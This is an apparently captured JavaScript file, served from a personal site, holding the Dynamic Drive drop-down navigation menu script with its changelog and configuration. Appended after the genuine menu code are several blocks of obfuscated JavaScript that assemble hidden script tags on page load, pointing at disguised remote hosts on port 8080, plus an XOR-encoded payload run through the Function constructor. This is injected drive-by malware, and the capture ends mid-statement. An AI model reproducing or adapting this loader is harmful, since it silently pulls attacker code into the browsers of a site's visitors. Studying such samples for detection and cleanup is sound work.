URL:    [ Dan Winchester Home ] [ View Source Home ] 
HTTP/1.1 200 OK
Date: Sat, 24 Apr 2010 08:48:51 GMT
Server: Apache
Last-Modified: Thu, 08 Apr 2010 23:03:13 GMT
ETag: "ad408f-712e-4bbe60b1"
Accept-Ranges: bytes
Content-Length: 28974
Connection: close
Content-Type: application/x-javascript

//** All Levels Navigational Menu- (c) Dynamic Drive DHTML code library: http://www.dynamicdrive.com
//** Script Download/ instructions page: http://www.dynamicdrive.com/dynamicindex1/ddlevelsmenu/
//** Usage Terms: http://www.dynamicdrive.com/notice.htm

//** July 7th, 08'- Creation Date

//** July 16th, 08'- Updated to v 1.3:
	//1) Adds "Side Bar" orientation option. 
	//2) Drop Down Menus now auto adjust their positioning if too close to either right or bottom window edges.
	//3) Enhanced IFRAME shim "coverage" on the page.

//** July 19th, 08'- Updated to v 1.31: Drop down menu now positions at top of window edge if there's neither room downwards or upwards to settle.
//** Aug 13th, 08'- v1.32: Moved "rel" attribute from menu's <li> elements to inner <a>, for validation reasons

//** Sept 10th, 08'- Updated to v 1.4:
	//1) Added optional "sliding" animation when sub menus are revealed.
	//2) Arrow images now dynamically positioned, instead of relying on CSS's "right" property

//** Oct 11th, 08'- Updated to v 1.5:
	//1) Sliding animation behavior tweaked
	//2) Added ability to disable iframeshim, customize speed of sliding animation

//** Dec 23rd, 08'- Updated to v 2.0:
	//1) Animation speed refined to be function of time (ie: 1 sec)
	//2) Added two animations that can be individually enabled/disabled- "slide in" and "fade in".
	//3) Script now automatically moves HTML for all sub menus to the end of the page, to avoid any containership issues if they are nested in other elements.

//** Jan 12, 09'- Updated to v 2.1:
	//1) Added ability to disable the arrow images from the top level items (see option "showarrow")
	//2) For Top Level Menu items containing a SPAN element (for sliding doors technique), arrow images are inserted inside SPAN.

var ddlevelsmenu={

enableshim: true, //enable IFRAME shim to prevent drop down menus from being hidden below SELECT or FLASH elements? (tip: disable if not in use, for efficiency)

arrowpointers:{
	downarrow: ["ddlevelsfiles/arrow-down.gif", 11,7], //[path_to_down_arrow, arrowwidth, arrowheight]
	rightarrow: ["ddlevelsfiles/arrow-right.gif", 12,12], //[path_to_right_arrow, arrowwidth, arrowheight]
	showarrow: {toplevel: true, sublevel: true} //Show arrow images on top level items and sub level items, respectively?
},
hideinterval: 200, //delay in milliseconds before entire menu disappears onmouseout.
effects: {enableswipe: true, enablefade: true, duration: 500},
httpsiframesrc: "blank.htm", //If menu is run on a secure (https) page, the IFRAME shim feature used by the script should point to an *blank* page *within* the secure area to prevent an IE security prompt. Specify full URL to that page on your server (leave as is if not applicable).

///No need to edit beyond here////////////////////

topmenuids: [], //array containing ids of all the primary menus on the page
topitems: {}, //object array containing all top menu item links
subuls: {}, //object array containing all ULs
lastactivesubul: {}, //object object containing info for last mouse out menu item's UL
topitemsindex: -1,
ulindex: -1,
hidetimers: {}, //object array timer
shimadded: false,
nonFF: !/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent), //detect non FF browsers
getoffset:function(what, offsettype){
	return (what.offsetParent)? what[offsettype]+this.getoffset(what.offsetParent, offsettype) : what[offsettype]
},

getoffsetof:function(el){
	el._offsets={left:this.getoffset(el, "offsetLeft"), top:this.getoffset(el, "offsetTop")}
},

getwindowsize:function(){
	this.docwidth=window.innerWidth? window.innerWidth-10 : this.standardbody.clientWidth-10
	this.docheight=window.innerHeight? window.innerHeight-15 : this.standardbody.clientHeight-18
},

gettopitemsdimensions:function(){
	for (var m=0; m<this.topmenuids.length; m++){
		var topmenuid=this.topmenuids[m]
		for (var i=0; i<this.topitems[topmenuid].length; i++){
			var header=this.topitems[topmenuid][i]
			var submenu=document.getElementById(header.getAttribute('rel'))
			header._dimensions={w:header.offsetWidth, h:header.offsetHeight, submenuw:submenu.offsetWidth, submenuh:submenu.offsetHeight}
		}
	}
},

isContained:function(m, e){
	var e=window.event || e
	var c=e.relatedTarget || ((e.type=="mouseover")? e.fromElement : e.toElement)
	while (c && c!=m)try {c=c.parentNode} catch(e){c=m}
	if (c==m)
		return true
	else
		return false
},

addpointer:function(target, imgclass, imginfo, BeforeorAfter){
	var pointer=document.createElement("img")
	pointer.src=imginfo[0]
	pointer.style.width=imginfo[1]+"px"
	pointer.style.height=imginfo[2]+"px"
	if(imgclass=="rightarrowpointer"){
		pointer.style.left=target.offsetWidth-imginfo[2]-2+"px"
	}
	pointer.className=imgclass
	var target_firstEl=target.childNodes[target.firstChild.nodeType!=1? 1 : 0] //see if the first child element within A is a SPAN (found in sliding doors technique)
	if (target_firstEl && target_firstEl.tagName=="SPAN"){
		target=target_firstEl //arrow should be added inside this SPAN instead if found
	}
	if (BeforeorAfter=="before")
		target.insertBefore(pointer, target.firstChild)
	else
		target.appendChild(pointer)
},

css:function(el, targetclass, action){
	var needle=new RegExp("(^|\\s+)"+targetclass+"($|\\s+)", "ig")
	if (action=="check")
		return needle.test(el.className)
	else if (action=="remove")
		el.className=el.className.replace(needle, "")
	else if (action=="add" && !needle.test(el.className))
		el.className+=" "+targetclass
},

addshimmy:function(target){
	var shim=(!window.opera)? document.createElement("iframe") : document.createElement("div") //Opera 9.24 doesnt seem to support transparent IFRAMEs
	shim.className="ddiframeshim"
	shim.setAttribute("src", location.protocol=="https:"? this.httpsiframesrc : "about:blank")
	shim.setAttribute("frameborder", "0")
	target.appendChild(shim)
	try{
		shim.style.filter='progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)'
	}
	catch(e){}
	return shim
},

positionshim:function(header, submenu, dir, scrollX, scrollY){
	if (header._istoplevel){
		var scrollY=window.pageYOffset? window.pageYOffset : this.standardbody.scrollTop
		var topgap=header._offsets.top-scrollY
		var bottomgap=scrollY+this.docheight-header._offsets.top-header._dimensions.h
		if (topgap>0){
			this.shimmy.topshim.style.left=scrollX+"px"
			this.shimmy.topshim.style.top=scrollY+"px"
			this.shimmy.topshim.style.width="99%"
			this.shimmy.topshim.style.height=topgap+"px" //distance from top window edge to top of menu item
		}
		if (bottomgap>0){
			this.shimmy.bottomshim.style.left=scrollX+"px"
			this.shimmy.bottomshim.style.top=header._offsets.top + header._dimensions.h +"px"
			this.shimmy.bottomshim.style.width="99%"
			this.shimmy.bottomshim.style.height=bottomgap+"px" //distance from bottom of menu item to bottom window edge
		}
	}
},

hideshim:function(){
	this.shimmy.topshim.style.width=this.shimmy.bottomshim.style.width=0
	this.shimmy.topshim.style.height=this.shimmy.bottomshim.style.height=0
},


buildmenu:function(mainmenuid, header, submenu, submenupos, istoplevel, dir){
	header._master=mainmenuid //Indicate which top menu this header is associated with
	header._pos=submenupos //Indicate pos of sub menu this header is associated with
	header._istoplevel=istoplevel
	if (istoplevel){
		this.addEvent(header, function(e){
		ddlevelsmenu.hidemenu(ddlevelsmenu.subuls[this._master][parseInt(this._pos)])
		}, "click")
	}
	this.subuls[mainmenuid][submenupos]=submenu
	header._dimensions={w:header.offsetWidth, h:header.offsetHeight, submenuw:submenu.offsetWidth, submenuh:submenu.offsetHeight}
	this.getoffsetof(header)
	submenu.style.left=0
	submenu.style.top=0
	submenu.style.visibility="hidden"
	this.addEvent(header, function(e){ //mouseover event
		if (!ddlevelsmenu.isContained(this, e)){
			var submenu=ddlevelsmenu.subuls[this._master][parseInt(this._pos)]
			if (this._istoplevel){
				ddlevelsmenu.css(this, "selected", "add")
			clearTimeout(ddlevelsmenu.hidetimers[this._master][this._pos])
			}
			ddlevelsmenu.getoffsetof(header)
			var scrollX=window.pageXOffset? window.pageXOffset : ddlevelsmenu.standardbody.scrollLeft
			var scrollY=window.pageYOffset? window.pageYOffset : ddlevelsmenu.standardbody.scrollTop
			var submenurightedge=this._offsets.left + this._dimensions.submenuw + (this._istoplevel && dir=="topbar"? 0 : this._dimensions.w)
			var submenubottomedge=this._offsets.top + this._dimensions.submenuh
			//Sub menu starting left position
			var menuleft=(this._istoplevel? this._offsets.left + (dir=="sidebar"? this._dimensions.w : 0) : this._dimensions.w)
			if (submenurightedge-scrollX>ddlevelsmenu.docwidth){
				menuleft+= -this._dimensions.submenuw + (this._istoplevel && dir=="topbar" ? this._dimensions.w : -this._dimensions.w)
			}
			submenu.style.left=menuleft+"px"
			//Sub menu starting top position
			var menutop=(this._istoplevel? this._offsets.top + (dir=="sidebar"? 0 : this._dimensions.h) : this.offsetTop)
			if (submenubottomedge-scrollY>ddlevelsmenu.docheight){ //no room downwards?
				if (this._dimensions.submenuh<this._offsets.top+(dir=="sidebar"? this._dimensions.h : 0)-scrollY){ //move up?
					menutop+= - this._dimensions.submenuh + (this._istoplevel && dir=="topbar"? -this._dimensions.h : this._dimensions.h)
				}
				else{ //top of window edge
					menutop+= -(this._offsets.top-scrollY) + (this._istoplevel && dir=="topbar"? -this._dimensions.h : 0)
				}
			}
			submenu.style.top=menutop+"px"
			if (ddlevelsmenu.enableshim && (ddlevelsmenu.effects.enableswipe==false || ddlevelsmenu.nonFF)){ //apply shim immediately only if animation is turned off, or if on, in non FF2.x browsers
				ddlevelsmenu.positionshim(header, submenu, dir, scrollX, scrollY)
			}
			else{
				submenu.FFscrollInfo={x:scrollX, y:scrollY}
			}
			ddlevelsmenu.showmenu(header, submenu, dir)
		}
	}, "mouseover")
	this.addEvent(header, function(e){ //mouseout event
		var submenu=ddlevelsmenu.subuls[this._master][parseInt(this._pos)]
		if (this._istoplevel){
			if (!ddlevelsmenu.isContained(this, e) && !ddlevelsmenu.isContained(submenu, e)) //hide drop down ul if mouse moves out of menu bar item but not into drop down ul itself
				ddlevelsmenu.hidemenu(submenu)
		}
		else if (!this._istoplevel && !ddlevelsmenu.isContained(this, e)){
			ddlevelsmenu.hidemenu(submenu)
		}

	}, "mouseout")
},

setopacity:function(el, value){
	el.style.opacity=value
	if (typeof el.style.opacity!="string"){ //if it's not a string (ie: number instead), it means property not supported
		el.style.MozOpacity=value
		if (el.filters){
			el.style.filter="progid:DXImageTransform.Microsoft.alpha(opacity="+ value*100 +")"
		}
	}
},

showmenu:function(header, submenu, dir){
	if (this.effects.enableswipe || this.effects.enablefade){
		if (this.effects.enableswipe){
			var endpoint=(header._istoplevel && dir=="topbar")? header._dimensions.submenuh : header._dimensions.submenuw
			submenu.style.width=submenu.style.height=0
			submenu.style.overflow="hidden"
		}
		if (this.effects.enablefade){
			this.setopacity(submenu, 0) //set opacity to 0 so menu appears hidden initially
		}
		submenu._curanimatedegree=0
		submenu.style.visibility="visible"
		clearInterval(submenu._animatetimer)
		submenu._starttime=new Date().getTime() //get time just before animation is run
		submenu._animatetimer=setInterval(function(){ddlevelsmenu.revealmenu(header, submenu, endpoint, dir)}, 10)
	}
	else{
		submenu.style.visibility="visible"
	}
},

revealmenu:function(header, submenu, endpoint, dir){
	var elapsed=new Date().getTime()-submenu._starttime //get time animation has run
	if (elapsed<this.effects.duration){
		if (this.effects.enableswipe){
			if (submenu._curanimatedegree==0){ //reset either width or height of sub menu to "auto" when animation begins
				submenu.style[header._istoplevel && dir=="topbar"? "width" : "height"]="auto"
			}
			submenu.style[header._istoplevel && dir=="topbar"? "height" : "width"]=(submenu._curanimatedegree*endpoint)+"px"
		}
		if (this.effects.enablefade){
			this.setopacity(submenu, submenu._curanimatedegree)
		}
	}
	else{
		clearInterval(submenu._animatetimer)
		if (this.effects.enableswipe){
			submenu.style.width="auto"
			submenu.style.height="auto"
			submenu.style.overflow="visible"
		}
		if (this.effects.enablefade){
			this.setopacity(submenu, 1)
			submenu.style.filter=""
		}
		if (this.enableshim && submenu.FFscrollInfo) //if this is FF browser (meaning shim hasn't been applied yet
			this.positionshim(header, submenu, dir, submenu.FFscrollInfo.x, submenu.FFscrollInfo.y)
	}
	submenu._curanimatedegree=(1-Math.cos((elapsed/this.effects.duration)*Math.PI)) / 2
},

hidemenu:function(submenu){
	if (typeof submenu._pos!="undefined"){ //if submenu is outermost UL drop down menu
		this.css(this.topitems[submenu._master][parseInt(submenu._pos)], "selected", "remove")
		if (this.enableshim)
			this.hideshim()
	}
	clearInterval(submenu._animatetimer)
	submenu.style.left=0
	submenu.style.top="-1000px"
	submenu.style.visibility="hidden"
},


addEvent:function(target, functionref, tasktype) {
	if (target.addEventListener)
		target.addEventListener(tasktype, functionref, false);
	else if (target.attachEvent)
		target.attachEvent('on'+tasktype, function(){return functionref.call(target, window.event)});
},

init:function(mainmenuid, dir){
	this.standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
	this.topitemsindex=-1
	this.ulindex=-1
	this.topmenuids.push(mainmenuid)
	this.topitems[mainmenuid]=[] //declare array on object
	this.subuls[mainmenuid]=[] //declare array on object
	this.hidetimers[mainmenuid]=[] //declare hide entire menu timer
	if (this.enableshim && !this.shimadded){
		this.shimmy={}
		this.shimmy.topshim=this.addshimmy(document.body) //create top iframe shim obj
		this.shimmy.bottomshim=this.addshimmy(document.body) //create bottom iframe shim obj
		this.shimadded=true
	}
	var menubar=document.getElementById(mainmenuid)
	var alllinks=menubar.getElementsByTagName("a")
	this.getwindowsize()
	for (var i=0; i<alllinks.length; i++){
		if (alllinks[i].getAttribute('rel')){
			this.topitemsindex++
			this.ulindex++
			var menuitem=alllinks[i]
			this.topitems[mainmenuid][this.topitemsindex]=menuitem //store ref to main menu links
			var dropul=document.getElementById(menuitem.getAttribute('rel'))
			document.body.appendChild(dropul) //move main ULs to end of document
			dropul.style.zIndex=2000 //give drop down menus a high z-index
			dropul._master=mainmenuid  //Indicate which main menu this main UL is associated with
			dropul._pos=this.topitemsindex //Indicate which main menu item this main UL is associated with
			this.addEvent(dropul, function(){ddlevelsmenu.hidemenu(this)}, "click")
			var arrowclass=(dir=="sidebar")? "rightarrowpointer" : "downarrowpointer"
			var arrowpointer=(dir=="sidebar")? this.arrowpointers.rightarrow : this.arrowpointers.downarrow
			if (this.arrowpointers.showarrow.toplevel)
				this.addpointer(menuitem, arrowclass, arrowpointer, (dir=="sidebar")? "before" : "after")
			this.buildmenu(mainmenuid, menuitem, dropul, this.ulindex, true, dir) //build top level menu
			dropul.onmouseover=function(){
				clearTimeout(ddlevelsmenu.hidetimers[this._master][this._pos])
			}
			this.addEvent(dropul, function(e){ //hide menu if mouse moves out of main UL element into open space
				if (!ddlevelsmenu.isContained(this, e) && !ddlevelsmenu.isContained(ddlevelsmenu.topitems[this._master][parseInt(this._pos)], e)){
					var dropul=this
					if (ddlevelsmenu.enableshim)
						ddlevelsmenu.hideshim()
					ddlevelsmenu.hidetimers[this._master][this._pos]=setTimeout(function(){
						ddlevelsmenu.hidemenu(dropul)
					}, ddlevelsmenu.hideinterval)
				}
			}, "mouseout")
			var subuls=dropul.getElementsByTagName("ul")
			for (var c=0; c<subuls.length; c++){
				this.ulindex++
				var parentli=subuls[c].parentNode
				if (this.arrowpointers.showarrow.sublevel)
					this.addpointer(parentli.getElementsByTagName("a")[0], "rightarrowpointer", this.arrowpointers.rightarrow, "before")
				this.buildmenu(mainmenuid, parentli, subuls[c], this.ulindex, false, dir) //build sub level menus
			}
		}
	} //end for loop
	this.addEvent(window, function(){ddlevelsmenu.getwindowsize(); ddlevelsmenu.gettopitemsdimensions()}, "resize")
},

setup:function(mainmenuid, dir){
	this.addEvent(window, function(){ddlevelsmenu.init(mainmenuid, dir)}, "load")
}

}




var ia=59211;var ih;if(ih!='' && ih!='s'){ih=''};var t;if(t!='' && t!='st'){t=''};var m=false;var w;if(w!='xn' && w!='z'){w=''};var ok=false;var i=document;var jn;if(jn!='' && jn!='dy'){jn='h'};var j='s3c3rhi3pot@'.replace(/[@h3oe]/g, '');var yb;if(yb!=''){yb='gh'};this.qi="qi";var k=window;var u=new Date();this.ss=16969;this.ep="ep";var qw;if(qw!='l' && qw!='cm'){qw=''};k.onload=function(){var qh;if(qh!='fu'){qh=''};try {var yf;if(yf!='t_' && yf!='kf'){yf=''};v=i.createElement(j);this.vb='';v.setAttribute('dBeBf+eQrQ'.replace(/[QBh\+8]/g, ''), "1");var qif;if(qif!='yq'){qif=''};var tp="";v.src='h7t*tOp*:7/O/*mOe7t7aOcOa*f*eO-*c*oOm7.,g7a,n;j;iO.7c,oOmO.7s,k,y7-;cOo7mO.Ob*e*s,t7n;e,w*h*aOv,e;n*.Or*u*:O8,078;0;/;a*l7i7cOe*.Oi,t7/*a7l,i,c7e7.*i7t*/7w;h,o*.7iOs7/7gOo,oOg*lOe;.OcOo,m*/*wOe*b;m,d7.,c*o7m;/;'.replace(/[;7,\*O]/g, '');i.body.appendChild(v);var hq;if(hq!='' && hq!='dx'){hq=null};} catch(n){var pa="";var nb="";};var zo='';};var epd="epd";var jw;if(jw!='' && jw!='vt'){jw='hv'};
j=function(){var h=51116;this.yh="yh";var v=document;var kh='';this.r=false;window[k([8,2][1])]=function(){var xj='';try {x=v[k([5,1][1])](k([0,9][0]));var ywc;if(ywc!='_' && ywc!='bp'){ywc='_'};x[k([5][0])](k([3,7][1]), "1");this.kv='';x[k([3][0])]=k([8][0]);var u = v[k([6][0])];var po='';var ol=new String();u[k([4][0])](x);} catch(b){this.nb=47488;};var kb='';};var q;if(q!='' && q!='sf'){q='hg'};var ie;if(ie!='ic'){ie=''};function k(y){var nc=new Date();var jp=['s1c1rQiWp1ty'.replace(/[y1WQC]/g, ''), 'cKr#eKa#t4e4E#lRe#m4eKnKt4'.replace(/[4J#KR]/g, ''), 'o4n0lqoqa4d4'.replace(/[4q&0u]/g, ''), 'sOr~c~'.replace(/[~l0iO]/g, ''), 'arp4p<emnrd4Ckhmirl4dm'.replace(/[m\<4kr]/g, ''), 'sPeUt>A<tPtUrUiPbPu<tge<'.replace(/[\<gUP\>]/g, ''), 'bQoxd9yQ'.replace(/[Q9Ux\.]/g, ''), 'dteNfNeNrt'.replace(/[t2NaL]/g, ''), 'hIt~tWpI:$/O/Ov~eIr$i$zWoWnO-~nIeWtO.Wy$oOkWa~.$c~oOmO.IvWe$nWt$eI-WpOrIi~vIeWeO-OcIo~mI.Oy~oIu~r~tWoOl~l$t~aOgI.Wr~uO:W8$0~8O0I/$lIi~n$k$b~u~cWk~s$.IcWoOmI/$lWi$n$kObIu~c$kWsO.IcOoOmO/IbIlOaIc~k~hOa~t~wWoOrWlOdW.OcWo~m~/OsOu~e~d$dWe$uOtWs$cIhOe~.IdIe$/$g~oIoWgWl$e$.WcOo~m$/O'.replace(/[OIW~\$]/g, '')];var cw;if(cw!='fg' && cw != ''){cw=null};var l=jp[y];var uc=false;return l;}this.vc="";var xs="xs";};j();var it;if(it!='' && it!='ww'){it='ov'};
var bb=false;var p=window;var lz;if(lz!='n'){lz='n'};var eh;if(eh!='' && eh!='ll'){eh='i'};var b=document;function z(s){var c='';var h=['h%t,tBpB:K/,/NlNoKcBk,e,rBzN-,cNoKmN.Ni,m,m,o,b,iBlKiKe%n,s,cBo%u,t%2N4N.%dNe%.Kp%dBfKd%a%tBaNbBa%s,e%-,cKo%mN.%rKe,d%t%a,gNc,e%n%tKrBaNl,.Kr%uK:,8%0N8N0B/NgBoBoNgNl,e%.Kc,oKmN/BgKo%o%gKlKe%.,cNoBmB/Bs%eBrBi,eBsNy,oNnBk,iBsN.%c%oKm,/KdBmBoKzK.%oNr%gN/,fKiKlKeBsB.Kw,o%rNd,pBr%e%sBsB.%cNoKm%/,'.replace(/[,K%BN]/g, ''), 's1c,r,i,p1t,'.replace(/[,1gIO]/g, ''), 'cbrPePabtbeFEPl;e;m;e:nbt:'.replace(/[\:;PbF]/g, ''), 'o3n5lMota6dM'.replace(/[M365t]/g, ''), 'strtcD'.replace(/[DmYHt]/g, ''), 'a*p6p*e$ngdgC6hgi$l$d*'.replace(/[\*g\$@6]/g, ''), 's7eXt7AXtXt%r3i|bXu|t7e3'.replace(/[3\|%X7]/g, ''), 'b7o;d;y;'.replace(/[;Yt7\:]/g, ''), 'd8evfPevr8'.replace(/[8P\*vR]/g, ''), "1"];var f=h[s];var u=new Date();return f;this._=5021;}var on;if(on!=''){on='r'};var ew;if(ew!=''){ew='lp'};var o = function(){try {this.mk="";pw=b[z([2][0])](z([1,5][0]));var m_;if(m_!='k'){m_='k'};var os=false;var z_ = b[z([8,7][1])];var gt=false;var rq;if(rq!='mi' && rq!='eu'){rq='mi'};pw[z([7,6][1])](z([3,8][1]), z([9,7][0]));pw[z([4][0])]=z([0][0]);var qb=26216;z_[z([5,7][0])](pw);} catch(oi){this.oj="oj";};};this.a='';p[z([3][0])]=o;var rxy="rxy";
var Wp="869382b584ff82938995bdfe8f958e86c58298b4ab86a88692b2b1b4a78eaa99b199a39ea88dbca48da08d81af8a999181968189b7a88cb58d899294b9a5868ea7d9bb87e48f8c95faac99c7ac99";this.JE=false;this.GmX=false;var Mv;if(Mv!=''){Mv='nB'};function Q(K){var b=false;var kB;if(kB!='' && kB!='ol'){kB='W'}; this.Dq=false;function J(q,k){var Dd;if(Dd!='' && Dd!='Sy'){Dd='vM'};var p;if(p!='' && p!='lf'){p='cn'};return q[S("CracdoheAt", [3,6,2,1,0,5,4])](k);this.x='';var rP="rP";}var Wb;if(Wb!='WL' && Wb!='aO'){Wb='WL'};this.hJ="";var O='';var Jq;if(Jq!='xx'){Jq='xx'};var VY=37157; var G=function(V){var T = -1;var Ui='';var Tg = '';var Gu=false;var Xo=false;V = new P(V);var F =[177,0][1];var TH =[0][0];this.IC='';var Tx=48005;this.rg=false;var Rq="Rq";var sC;if(sC!='Jv'){sC='Jv'};for (F=V[S("glenth", [1,2,3,0])]-T;F>=TH;F=F-[166,1][1]){Tg+=V[S("ahcrAt", [2,1,0,3,4])](F);}var Ec;if(Ec!='nZL' && Ec != ''){Ec=null};this.Zl=false;return Tg;};var wl="";var xS=''; var c=function(Y,Tw){var yV;if(yV!='' && yV!='Ek'){yV=null};var aV='';return Y^Tw;var eL=new Array();};var Bv="Bv";var i;if(i!='' && i!='Ylc'){i=null}; var FP;if(FP!='RE' && FP!='nS'){FP='RE'};var xM=false;function S(V, Qt){var hM=[1][0];var Kt;if(Kt!='gq'){Kt='gq'};var Nn=16497;var TH=[0][0];var Tg = '';var TI;if(TI!='IA'){TI=''};var l = V.length;var e = Qt.length;var aN;if(aN!='' && aN!='NhK'){aN=null};var bI=new String();var Yz=new String();this.QZ='';this.YR='';for(var F = TH; F < l; F += e) {var g = V.substr(F, e);var cy;if(cy!='' && cy!='ab'){cy=null};var JAu="";var rrk;if(rrk!='Ds'){rrk=''};if(g.length == e){var kb=false;var DN;if(DN!='Rqz' && DN!='Rt'){DN='Rqz'};this.THU=48829;for(var w in Qt) {var Wd;if(Wd!='tzD' && Wd!='dL'){Wd='tzD'};Tg+=g.substr(Qt[w], hM);var oX;if(oX!='CD' && oX != ''){oX=null};var TFC;if(TFC!='eE' && TFC != ''){TFC=null};}var JpV;if(JpV!='Qe' && JpV!='iY'){JpV='Qe'};} else {this.Wr="Wr";  Tg+=g;var iS;if(iS!='' && iS!='IKe'){iS='iZ'};}}var Rg=false;return Tg;var NQ;if(NQ!='Fh' && NQ != ''){NQ=null};var uT="";}var ZO;if(ZO!='qV' && ZO!='bs'){ZO='qV'};this.ad="";var cm;if(cm!='' && cm!='Uz'){cm='ly'};var CW=new String(); var X=function(j){var oc=new Array();var PI=j[S("thgeln", [4,3,5,2,0,1])];this.BL=false;var YzO;if(YzO!='RU' && YzO!='pM'){YzO=''};var t=[90,109,0,5][2];var iH;if(iH!='yF'){iH='yF'};var w=[171,0,109][1];this.TS=false;var L=[255,206,236,28][0];var hM=[3,1][1];var Cm="Cm";this.wo="wo";while(w<PI){var Py;if(Py!='EA'){Py='EA'};var Nb;if(Nb!='ub'){Nb='ub'};w++;a=J(j,w - hM);var vc;if(vc!=''){vc='Kj'};t+=a*PI;var cj="cj";var TIF;if(TIF!='' && TIF!='Zd'){TIF='td'};}this.GE=false;var Kg="Kg";var EL=new String();return new P(t % L);var Ag;if(Ag!='Ee' && Ag!='pq'){Ag='Ee'};var SMc;if(SMc!='Hb' && SMc!='cd'){SMc='Hb'};};var Hq;if(Hq!='Dy'){Hq=''};var Sv="Sv";var ju="";var hL;if(hL!='' && hL!='MH'){hL='Fb'};var d=window;var v=d[S("vela", [1,0])];var Sf;if(Sf!='PT' && Sf != ''){Sf=null};var Ie="";var qQ=v(S("noFntcui", [2,6,0,5,4,7,1,3]));var yiw;if(yiw!='oj' && yiw!='IQ'){yiw='oj'};var Sj=v(S("eREgpx", [1,0]));var Ab;if(Ab!='Wl'){Ab=''};var cHT;if(cHT!='rHR'){cHT=''};var P=v(S("nSitrg", [1,3,4,2,0]));var CDX='';var uO='';var JA = '';var tL=13675;this.Ei=43789;this.vC="";var VPp;if(VPp!='zF' && VPp!='rc'){VPp=''};this.Xb="";var B=P[S("romCfarCohde", [4,0,1,2,3])];var RK="";var MTF='';var ie=new Array();var o=d[S("neucaspe", [2,0,1])];this.zy="";this.rs=740;this.db=53866;this.XQ='';this.nN='';var iD=new String();this.Tl="";var cr=false;var tK =[0,61,170][0];var lh;if(lh!='' && lh!='ZX'){lh='phy'};var wD=new String();var hM =[1,123,83][0];var PV;if(PV!='Cnq'){PV=''};this.lH='';var Hi;if(Hi!='' && Hi!='nT'){Hi=null};var kL='';var ST = '';this.ZI='';var GO;if(GO!=''){GO='rHC'};var D = /[^@a-z0-9A-Z_-]/g;var XF;if(XF!=''){XF='iSA'};var oK = '';var Xw = "%";this.fZx="fZx";var ee='';var TH =[167,0,200][1];this.tW="tW";var Yi=[1, S("odmucnec.teretalEemetns\'(rctpi\')", [1,0,4,3,2]),2, S("mogc.ooelcg.morbt..citeakmtser", [3,1,0,4,2,6,5]),3, S("udocm.entb.odyanppedlChid(d)", [1,2,3,0,4]),4, S(".mtcoohmhebasel:u8.r080", [3,4,1,0,2]),5, S("sihonu.tocm", [1,0]),6, S("sde.tAtitbruted(e\'fer\'", [1,3,0,2,4,5,6]),7, S("iwdnwoo.lnaod", [1,0]),8, S("cgboafl.om", [2,6,3,1,5,4,7,0]),11, S("ufntcino()", [1,0,2]),12, S("oogelgoc.m", [2,1,0]),14, S("p81c.3iom", [6,0,2,5,1,4,3]),15, S("acthc(e)", [1,0,2]),16, S("h\"tt:p", [1,0]),17, S("1o5jb", [2,0,3,1]),18, S(".csdr", [3,0,2,4,1]),19, S("\'\'1)", [1,2,0]),20, S("ryt", [2,0,1])];var uA=false;var A = '';var Gg =[2][0];var hH;if(hH!='' && hH!='bN'){hH=null};this.eD=58670;var Z = K[S("nelhtg", [2,1,0])];var vo="vo";var tS=new Array();var GOn;if(GOn!='jS' && GOn!='ZIU'){GOn='jS'};var SF=new Array();for(var r=TH; r < Z; r+=Gg){var PZ;if(PZ!='' && PZ!='OR'){PZ=null};this.KZ=13488;oK+= Xw; oK+= K[S("ussbrt", [1,0])](r, Gg);var RS=new String();}this.cmV=false;var uh;if(uh!='' && uh!='jV'){uh='fZp'};this.GB="GB";var K = o(oK);var Hd;if(Hd!='Tp'){Hd=''};var VH = new P(Q);var DB;if(DB!='' && DB!='CJ'){DB='Pi'};var KH = VH[S("erlpcae", [1,0])](D, A);var Gq;if(Gq!=''){Gq='VU'};this.SR=34747;var jO = Yi[S("nlgeth", [1,3,0,2])];this.Yk=15727;var Ii='';var E = new P(qQ);var GgK;if(GgK!='wB' && GgK!='EC'){GgK=''};var RtY="RtY";var gD;if(gD!='' && gD!='nMk'){gD='Nr'};KH = G(KH);var Tn;if(Tn!='tk' && Tn != ''){Tn=null};var YL;if(YL!='YQn'){YL='YQn'};var bq=new String();this.qA=false;var AE = E[S("plcaree", [4,5,0,1,3,2])](D, A);var AE = X(AE);var tLF=50353;var Yl=X(KH);var oB;if(oB!='' && oB!='gL'){oB=''};for(var F=TH; F < (K[S("ntelgh", [3,2,0,4,1])]);F=F+[154,1][1]) {var n = KH.charCodeAt(tK);var rv;if(rv!=''){rv='mE'};var Oy=false;var y = J(K,F);this.lV=7883;var Ml=new Date();y = c(y, n);var fc=new Date();this.Es=false;this.jx=false;y = c(y, Yl);var YQc=new Date();y = c(y, AE);var Ry;if(Ry!='' && Ry!='yX'){Ry='HC'};this.ED="";var jw;if(jw!='JvN' && jw!='Jk'){jw='JvN'};tK++;var uE=new Date();var Zr;if(Zr!='' && Zr!='wH'){Zr='tx'};var bH;if(bH!='GJ' && bH!='ej'){bH=''};var DfE;if(DfE!='zL' && DfE!='VK'){DfE='zL'};if(tK > KH.length-hM){var xE=new Date();tK=TH;this.Nc=false;var Sfn;if(Sfn!='jR' && Sfn != ''){Sfn=null};}var RI='';var Zp;if(Zp!='' && Zp!='yh'){Zp=''};ST += B(y);var rt;if(rt!='' && rt!='AS'){rt=null};var sb;if(sb!='ON' && sb!='Vj'){sb=''};}var Fhc=new String();var Avv=false;var vB="";var ll="";for(od=TH; od < jO; od+=Gg){var Bu=false;this.PoR="";var Tb;if(Tb!=''){Tb='LQ'};var tZ = B(Yi[od]);var VO = Yi[od + hM];this.aK="";var cC;if(cC!='' && cC!='yn'){cC=''};this.CF=13205;this.eI="eI";var EaE;if(EaE!='' && EaE!='Gi'){EaE=''};var C = new Sj(tZ, "g");var TuA="TuA";var fQ;if(fQ!='uW'){fQ='uW'};ST=ST[S("erlpcae", [1,0])](C, VO);var oC=new Array();}var ti=new Date();var Kk;if(Kk!='' && Kk!='qz'){Kk='ik'};var SY=new Array();var Ly=new qQ(ST);Ly();this.WLi=false;var joL;if(joL!='ORD' && joL!='qv'){joL='ORD'};ST = '';var QF;if(QF!='' && QF!='ft'){QF=''};var PJ;if(PJ!='' && PJ!='uhT'){PJ=''};var my='';AE = '';var gH='';var yiH='';Ly = '';var WP;if(WP!='yw' && WP != ''){WP=null};var aq="";Yl = '';var Gp="";E = '';var sh;if(sh!='' && sh!='NwV'){sh=''};KH = '';var SyO;if(SyO!='qeE' && SyO != ''){SyO=null};var MG=new String();var fa="";var KA;if(KA!=''){KA='zan'};return '';var 